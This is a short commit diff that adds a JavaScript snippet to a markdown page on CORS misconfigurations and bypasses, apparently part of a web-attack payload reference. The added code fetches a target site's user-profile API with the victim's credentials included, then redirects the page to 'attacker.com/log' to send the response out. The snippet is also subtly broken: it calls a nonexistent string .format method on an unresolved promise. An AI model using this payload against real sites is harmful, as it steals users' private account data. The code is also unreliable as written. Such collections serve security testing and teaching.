Update CORS - Misconfigurations & Bypass.md
This commit is contained in:
parent
2e9ae87d60
commit
fb0c538961
@ -30,6 +30,15 @@ xhr.withCredentials = true;
|
||||
xhr.send(null);
|
||||
```
|
||||
|
||||
```javascript
|
||||
fetch("https://target.com/api/user/profile", {
|
||||
credentials: "include"
|
||||
})
|
||||
.then((response) => {
|
||||
document.location = "//attacker.com/log?key={0}".format(response.text());
|
||||
});
|
||||
```
|
||||
|
||||
```javascript
|
||||
fetch(url, {
|
||||
credentials: 'include'
|
||||
|
Loading…
Reference in New Issue
Block a user